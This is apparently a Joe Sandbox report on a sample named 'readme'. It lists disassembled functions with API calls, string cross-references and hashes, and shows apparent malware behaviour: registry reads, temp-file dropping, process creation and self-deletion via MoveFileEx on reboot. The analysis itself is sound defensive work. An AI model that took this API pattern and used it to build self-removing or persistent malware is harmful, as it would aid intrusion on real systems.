Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: $$%$&$'$($/$2$5$=$=$>$?$I$N$N$P$P$Q$R$S$S$T$]$^$^$`$b$c$d$e$g$h$i$i$o$p$r$r$s$t$u$v${$|$}$~
API String ID: 0-2688660894
Opcode ID: 1abc28a2f8c18677790b7c21e6b3aee0d4b5a8bd8af1e207959e33944dc72c7b
Instruction ID: abd944b4bf66b48f6ff19b161d47c379f6673315fd2279abf8dc63a53f241184
Opcode Fuzzy Hash: 1abc28a2f8c18677790b7c21e6b3aee0d4b5a8bd8af1e207959e33944dc72c7b
Instruction Fuzzy Hash: 6EF10A2010D7C18AD332CB789848B9FBFD55BA6314F484AADE1D95B2E3D3B98109C727

Function 00421550 Relevance: 84.3, APIs: 9, Strings: 39, Instructions: 293
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00421857
HeapAlloc.KERNEL32(00000000), ref: 0042185E
RegOpenKeyExA.ADVAPI32(80000002,000000A2,00000000,00000001,00000000), ref: 00421878
GetLastError.KERNEL32 ref: 00421888
RegQueryValueExA.ADVAPI32(?,0000000C,00000000,000000F7,00000000,?), ref: 004218A6
GetLastError.KERNEL32 ref: 004218B0

Strings

u, xrefs: 004217B5
W, xrefs: 00421789
@, xrefs: 004216AD
t, xrefs: 00421824
, xrefs: 004215FA
", xrefs: 004217C8
t, xrefs: 0042168C
#, xrefs: 0042162F
^, xrefs: 0042164C
S, xrefs: 004215A6
o, xrefs: 00421765
Z, xrefs: 0042160C
&, xrefs: 00421647
n, xrefs: 0042176A
N, xrefs: 004215BA
+, xrefs: 004216E2
i, xrefs: 004215F0
T, xrefs: 00421588
0, xrefs: 004215FF
E, xrefs: 0042163D
v, xrefs: 0042182E
), xrefs: 004215AB
M, xrefs: 00421838
P, xrefs: 004215DD
*, xrefs: 004215E2
P, xrefs: 0042159C
r, xrefs: 00421756
i, xrefs: 00421760
O, xrefs: 00421620
d, xrefs: 00421682
e, xrefs: 00421833
L, xrefs: 00421611
s, xrefs: 0042175B
c, xrefs: 0042181F
j, xrefs: 0042169F
E, xrefs: 004215BF
v, xrefs: 004215F5
e, xrefs: 00421751
i, xrefs: 00421829

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: ErrorHeapLast$AllocOpenProcessQueryValue
String ID: $"$#$&$)$*$+$0$@$E$E$L$M$N$O$P$P$S$T$W$Z$^$c$d$e$e$i$i$i$j$n$o$r$s$t$t$u$v$v
API String ID: 1776519057-2463442936
Opcode ID: ab6827ab39422699bea6bda1d347a6bd827d59bc8c8f8bf468672a2f9e6538a5
Instruction ID: de080bc917b6dafc203796a283a93a50a3f41381c7ced34f7cef138a8a95d9cd
Opcode Fuzzy Hash: ab6827ab39422699bea6bda1d347a6bd827d59bc8c8f8bf468672a2f9e6538a5
Instruction Fuzzy Hash: D4D13C6110C7C1CDD322D778988879FBFD15BA6218F484E9DF1E45B3E2D2A98109C76B

Function 0041F8E0 Relevance: 72.0, APIs: 9, Strings: 32, Instructions: 291
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

', xrefs: 0041F934
b, xrefs: 0041F9B3
/, xrefs: 0041F9A4
/, xrefs: 0041FA40
z, xrefs: 0041F948
c, xrefs: 0041FBB4
{, xrefs: 0041F916
t, xrefs: 0041FA99
4, xrefs: 0041F939
y, xrefs: 0041F983
U, xrefs: 0041FA77
:, xrefs: 0041F91B
d, xrefs: 0041FB6F
6, xrefs: 0041FA8F
o, xrefs: 0041FA9E
t, xrefs: 0041FBB9
c, xrefs: 0041F9C7
Y, xrefs: 0041F920
i, xrefs: 0041FBBE
1, xrefs: 0041FA0B
v, xrefs: 0041FBC3
?, xrefs: 0041FA45
2, xrefs: 0041F96F
h, xrefs: 0041F9B8
Z, xrefs: 0041FBCC
0, xrefs: 0041F952
y, xrefs: 0041FB4D
(, xrefs: 0041FAA3
c, xrefs: 0041F97E
", xrefs: 0041F9E4
F, xrefs: 0041FA59
{, xrefs: 0041FB5C

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID: "$'$($/$/$0$1$2$4$6$:$?$F$U$Y$Z$b$c$c$c$d$h$i$o$t$t$v$y$y$z${${
API String ID: 0-1086536751
Opcode ID: b412046be1c6318884bb58681997ee504ed99bbc7bdc58cc31c50f8f500c8cb2
Instruction ID: 11e3b4fdb97899335a1116277c19ae4b67f777c444ac700ec2618231df2b17f2
Opcode Fuzzy Hash: b412046be1c6318884bb58681997ee504ed99bbc7bdc58cc31c50f8f500c8cb2
Instruction Fuzzy Hash: 9AD1492010C7C19ED322DB79984865FBFD45BA6218F485F9DF1E44B3E3D2A9810AC76B

Function 00415060 Relevance: 59.8, APIs: 10, Strings: 24, Instructions: 301
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004150AB

Part of subcall function 00413AD0: SetEvent.KERNEL32(0000011C,?,00000000,00000001,00415108), ref: 0041EF12
Part of subcall function 00413AD0: SetEvent.KERNEL32(00000128), ref: 0041EF20
Part of subcall function 00413AD0: SetEvent.KERNEL32(0000012C), ref: 0041EF2B
Part of subcall function 00413AD0: SetEvent.KERNEL32(00000124), ref: 0041EF36
Part of subcall function 00413AD0: SetEvent.KERNEL32(00000120), ref: 0041EF41

Part of subcall function 004120C0: ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000001), ref: 004121E0
Part of subcall function 004120C0: GetFileAttributesA.KERNEL32(?), ref: 004121FF

Part of subcall function 00413DD0: Sleep.KERNEL32(0002BF20,00000000), ref: 00413E62

Part of subcall function 00412B30: ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 00412C26
Part of subcall function 00412B30: GetLocalTime.KERNEL32(0000003C), ref: 00412C31
Part of subcall function 00412B30: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00412C4B
Part of subcall function 00412B30: WriteFile.KERNEL32(00000000,000000E6,00000010,0000003C,00000000), ref: 00412C62
Part of subcall function 00412B30: CloseHandle.KERNEL32(00000000), ref: 00412C69

Part of subcall function 00413280: RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00413420
Part of subcall function 00413280: RegDeleteValueA.ADVAPI32(?,?), ref: 00413451
Part of subcall function 00413280: RegCloseKey.ADVAPI32(?), ref: 0041345C
Part of subcall function 00413280: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00413472
Part of subcall function 00413280: MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0041348A

Part of subcall function 0041EF50: ResetEvent.KERNEL32(0000011C,?,00000000,00000001,00415134), ref: 0041EF67
Part of subcall function 0041EF50: ResetEvent.KERNEL32(00000128), ref: 0041EF76
Part of subcall function 0041EF50: ResetEvent.KERNEL32(0000012C), ref: 0041EF81
Part of subcall function 0041EF50: ResetEvent.KERNEL32(00000124), ref: 0041EF8C
Part of subcall function 0041EF50: ResetEvent.KERNEL32(00000120), ref: 0041EF97

Strings

}, xrefs: 004154BE
Y, xrefs: 00415173
x, xrefs: 00415183
1, xrefs: 004154C8
D, xrefs: 00415330
V, xrefs: 0041545D
s, xrefs: 0041549B
z, xrefs: 004151BA
0, xrefs: 004151CA
_, xrefs: 00415504
F, xrefs: 00415240
^, xrefs: 004151F1
x, xrefs: 00415465
t, xrefs: 00415238
h, xrefs: 00415218
x, xrefs: 00415470
m, xrefs: 004151F6
:, xrefs: 0041516B
', xrefs: 0041519A
{, xrefs: 00415163
O, xrefs: 004154DC
4, xrefs: 004151A2
<, xrefs: 00415204
, xrefs: 004154A5

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Event$File$Reset$CloseEnvironmentExpandModuleNameStrings$AttributesCreateDeleteHandleLocalMoveOpenSleepTimeValueWrite
String ID: $'$0$1$4$:$<$D$F$O$V$Y$^$_$h$m$s$t$x$x$x$z${$}
API String ID: 2834431147-455679219
Opcode ID: 1f6e772e3f605208dfee7bf4d0ea2b6ea15f5f842e9da9fe72f42dc6b594ce41
Instruction ID: 303c94e765967613df6afeb7444a04bb2175ba7380c9a58d85960b8bb2ad4b0c
Opcode Fuzzy Hash: 1f6e772e3f605208dfee7bf4d0ea2b6ea15f5f842e9da9fe72f42dc6b594ce41
Instruction Fuzzy Hash: 8AE1482120C7C089D33297399848BDBBFD55FE6318F584A9EE1E88B2D3C6B58149C767

Function 00412620 Relevance: 54.5, APIs: 15, Strings: 16, Instructions: 215
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,00000000,?,0000007B), ref: 00412643
GetTempFileNameA.KERNELBASE(?,0042E292,00000000,?,?,0000007B), ref: 00412660

Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1DA
Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1E8
Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1F6
Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C204

GetProcessHeap.KERNEL32(00000000,00000000,?,0000007B), ref: 00412681
HeapAlloc.KERNEL32(00000000,?,0000007B), ref: 00412684
CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000000,00000000,?,0000007B), ref: 004126C6
WriteFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,0000007B), ref: 004126D8
CloseHandle.KERNEL32(00000000,?,0000007B), ref: 004126E5
GetProcessHeap.KERNEL32(00000000,00000000,?,0000007B), ref: 004126EA
RtlFreeHeap.NTDLL(00000000,?,0000007B), ref: 004126ED
ExpandEnvironmentStringsA.KERNELBASE(0000004F,?,00000208), ref: 00412920

Strings

_, xrefs: 004127BE
I, xrefs: 00412835
\, xrefs: 004127ED
j, xrefs: 00412873
A, xrefs: 004127A6
7, xrefs: 0041287B
<, xrefs: 0041284C
x, xrefs: 0041280D
', xrefs: 00412730
4, xrefs: 0041272B
K, xrefs: 004127C6
), xrefs: 0041277F
N, xrefs: 0041288B
W, xrefs: 00412825
O, xrefs: 00412744
D, xrefs: 0041297A

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CountHeapTick$File$Process$AllocCloseCreateCurrentDirectoryEnvironmentExpandFreeHandleNameStringsTempWrite
String ID: '$)$4$7$<$A$D$I$K$N$O$W$\$_$j$x
API String ID: 1204127460-4239860483
Opcode ID: e9142f7ef01560981e5ace9b92d93c22cb7fba4bdb225b2538245e4787c0e303
Instruction ID: fc50ba5ee65d84b0438dc11ee2d5e43eb154a7910d067eaa4cf43abc5e739b9a
Opcode Fuzzy Hash: e9142f7ef01560981e5ace9b92d93c22cb7fba4bdb225b2538245e4787c0e303
Instruction Fuzzy Hash: 03A15E2110C7C19ED33197399889BDBBFD45FA7214F184AADE2E8872D3C6B5440ACB67

Function 00421A20 Relevance: 49.2, APIs: 9, Strings: 19, Instructions: 219
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00421C2A
HeapAlloc.KERNEL32(00000000), ref: 00421C2D
RegOpenKeyExA.ADVAPI32(80000002,000000A2,00000000,00000001,00000000), ref: 00421C48
GetLastError.KERNEL32 ref: 00421C58
RegQueryValueExA.ADVAPI32(?,00000057,00000000,00000000,00000000,?), ref: 00421C77
GetLastError.KERNEL32 ref: 00421C81
GetProcessHeap.KERNEL32(00000000,00000000,?,00431D8C,?,?,?,?,?,00000001), ref: 00421D20
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 00421D23
RegCloseKey.ADVAPI32(?,?,?,?,?,?,00000001), ref: 00421D2E

Strings

>, xrefs: 00421B23
*, xrefs: 00421AC6
&, xrefs: 00421AE4
H, xrefs: 00421ADF
u, xrefs: 00421C06
;, xrefs: 00421B1E
N, xrefs: 00421AA9
$, xrefs: 00421B19
t, xrefs: 00421C0B
s, xrefs: 00421BE2
W, xrefs: 00421BF4
T, xrefs: 00421A7D
S, xrefs: 00421A95
R, xrefs: 00421BFD
), xrefs: 00421A9A
^, xrefs: 00421AE9
#, xrefs: 00421AD5
V, xrefs: 00421BD8
r, xrefs: 00421BDD

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Heap$ErrorLastProcess$AllocCloseFreeOpenQueryValue
String ID: #$$$&$)$*$;$>$H$N$R$S$T$V$W$^$r$s$t$u
API String ID: 1434707997-1823157150
Opcode ID: 6e08b74d57cc105e2010b4ea5f959d3cf0c0668fc3babe88880cece8b4c20fe2
Instruction ID: fa9cfd876d3b6e4b553c796e2fcc97387f4aba46f10f049a185be6cbd934e7b4
Opcode Fuzzy Hash: 6e08b74d57cc105e2010b4ea5f959d3cf0c0668fc3babe88880cece8b4c20fe2
Instruction Fuzzy Hash: E1A17A6110D3C19ED322DB79A884B9BBFD45FA6208F481EADF0D487393D2A5C108C76B

Function 0041FAD9 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 142
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,000000FF,?), ref: 0041FBF0
HeapAlloc.KERNEL32(00000000), ref: 0041FBF7
RegOpenKeyExA.ADVAPI32(80000002,00000006,00000000,00000001,75920A60), ref: 0041FC14
GetLastError.KERNEL32 ref: 0041FC24
RegQueryValueExA.ADVAPI32(?,000000E5,00000000,00000000,00000000,?), ref: 0041FC40
GetLastError.KERNEL32 ref: 0041FC4A

Strings

t, xrefs: 0041FBB9
d, xrefs: 0041FB6F
Z, xrefs: 0041FBCC
c, xrefs: 0041FBB4
i, xrefs: 0041FBBE
y, xrefs: 0041FB4D
v, xrefs: 0041FBC3
{, xrefs: 0041FB5C

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: ErrorHeapLast$AllocOpenProcessQueryValue
String ID: Z$c$d$i$t$v$y${
API String ID: 1776519057-3640894087
Opcode ID: f6d11a2ddb12440592e01084a58bb70fe86f7cf8f6f4206307d0c26f565b6ce2
Instruction ID: 17e8e7697b2e3bef17a3567bbfa0b456d59c673bdf2ae35ddef1ee050250fe48
Opcode Fuzzy Hash: f6d11a2ddb12440592e01084a58bb70fe86f7cf8f6f4206307d0c26f565b6ce2
Instruction Fuzzy Hash: 7351CF7110C3C08ED311DB689855B9BFFE5AF99708F044E6EE1C587292D7B98109CB6B

Function 0041F020 Relevance: 16.6, APIs: 11, Instructions: 82
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000,00000000,?,?,?,?,?,?,?,0041FCCD,?,00431CAC), ref: 0041F02D
GetLastError.KERNEL32(?,?,?,?,?,?,?,0041FCCD,?,00431CAC,?,?,?,?,?,00000001), ref: 0041F039
OpenServiceA.ADVAPI32(00000000,?,00000004,00431C98,?,?,?,?,?,?,?,0041FCCD,?,00431CAC), ref: 0041F057
GetLastError.KERNEL32(?,?,?,?,?,?,?,0041FCCD,?,00431CAC,?,?,?,?,?,00000001), ref: 0041F063
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,0041FCCD,?,00431CAC), ref: 0041F070

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID:
API String ID: 48634454-0
Opcode ID: a2892d7f7661b13cf73e8cd547c792104bc9d4b467d401adbc5d1c83def5ba12
Instruction ID: f3cf9168e74de08882df1071f672c22a0612c2c306f6c0820370a697ac743aba
Opcode Fuzzy Hash: a2892d7f7661b13cf73e8cd547c792104bc9d4b467d401adbc5d1c83def5ba12
Instruction Fuzzy Hash: 27217C36701220ABD321AB69DC49B9F7BE4EFD9750F80442AFA41D7350D7B09847CBA6

Function 00412897 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 79
stringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsA.KERNELBASE(0000004F,?,00000208), ref: 00412920
lstrcatA.KERNEL32(?,0042E3F8), ref: 00412939
lstrcatA.KERNEL32(?,?), ref: 0041294B
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00412989
CloseHandle.KERNEL32(?), ref: 00412994
CloseHandle.KERNEL32(?), ref: 0041299B

Strings

D, xrefs: 0041297A

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CloseHandlelstrcat$CreateEnvironmentExpandProcessStrings
String ID: D
API String ID: 249013821-2746444292
Opcode ID: d510ec59f7870d519bf324aab472407a7ecdcd160f1fdcfa20edfd7c1420eeda
Instruction ID: 1d206c3ebca1a40486939c7928fd3c0a5193cdd2c06ff6f9138d119af16f5955
Opcode Fuzzy Hash: d510ec59f7870d519bf324aab472407a7ecdcd160f1fdcfa20edfd7c1420eeda
Instruction Fuzzy Hash: 74315E7610C3845BD321AB29A494BEBFBE9AFD6218F288DBDD5C4C3243D6718409CB57

Function 00429190 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(mscoree.dll,004292FE,?,0042EAB8,00000008,00429335,?,00000001,00000000,00426648,00000003), ref: 00429195
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004291A5
ExitProcess.KERNEL32 ref: 004291B9

Strings

mscoree.dll, xrefs: 00429190
CorExitProcess, xrefs: 0042919F

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID: CorExitProcess$mscoree.dll
API String ID: 75539706-1276376045
Opcode ID: 8c2fa50a3ec66fd577a0b8e8636169e5e6d711be195023716ce747e76f4f0db8
Instruction ID: 837725cd5bd8d62ceb7a805311689d2544094357cd19b3e86fc30850f48944c8
Opcode Fuzzy Hash: 8c2fa50a3ec66fd577a0b8e8636169e5e6d711be195023716ce747e76f4f0db8
Instruction Fuzzy Hash: BBD0E730344321EBE6111B73ED1D77B7A65BF41B41B944439B845D0160DB75CC21991D

Function 004122F0 Relevance: 7.6, APIs: 5, Instructions: 52fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000), ref: 0041230F
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00412329
SetFilePointer.KERNELBASE(00000000,000000FC,00000000,00000002), ref: 00412353
ReadFile.KERNELBASE ref: 00412370
CloseHandle.KERNEL32(00000000), ref: 00412377

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: File$CloseCreateHandleModuleNamePointerRead
String ID:
API String ID: 1352878660-0
Opcode ID: 287adf819acc85caeaf54933d95270eb436911dfc7abba11b07640b1e6699bc0
Instruction ID: c542780b36d63bd1f74abcbd7efe17dbbb97c44db4b19d55b56e5dd6763cd24b
Opcode Fuzzy Hash: 287adf819acc85caeaf54933d95270eb436911dfc7abba11b07640b1e6699bc0
Instruction Fuzzy Hash: 0C11A171644360ABE324EB65EC46FEA33A8BB89710F800929F761961D0D7F45644CB9B

Function 0041F100 Relevance: 7.5, APIs: 5, Instructions: 35synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00431E18,00000000,00000000,00431CAC,00431C98,0041FCDD,?,00431CAC,?,00431CAC,?,?,?,?,?,00000001), ref: 0041F111
GetLastError.KERNEL32(?,?,?,?,?,00000001), ref: 0041F11D
WaitForSingleObject.KERNEL32(00000000,000003E8,?,?,?,?,?,00000001), ref: 0041F135
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 0041F140

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CloseCreateErrorEventHandleLastObjectSingleWait
String ID:
API String ID: 5396149-0
Opcode ID: 7fabdc887b76636cf33a9a3860f0f978fa08689d0529247d9dc893de2f94b650
Instruction ID: 41ec93761c571e6fbe91694ad29752271d04f397154ed630bd7477d7537eb11e
Opcode Fuzzy Hash: 7fabdc887b76636cf33a9a3860f0f978fa08689d0529247d9dc893de2f94b650
Instruction Fuzzy Hash: 1CF01D35344220AFD3619F65DC48BABB7A4EF56311F018836FD458B390CB74AC52CBA5

Function 0042846F Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00425E5F,00000001,?,0042E598,00000060), ref: 00428480

Part of subcall function 004284C0: HeapAlloc.KERNEL32(00000000,00000140,004284A8,000003F8,?,0042E598,00000060), ref: 004284CD

HeapDestroy.KERNEL32(?,0042E598,00000060), ref: 004284B3

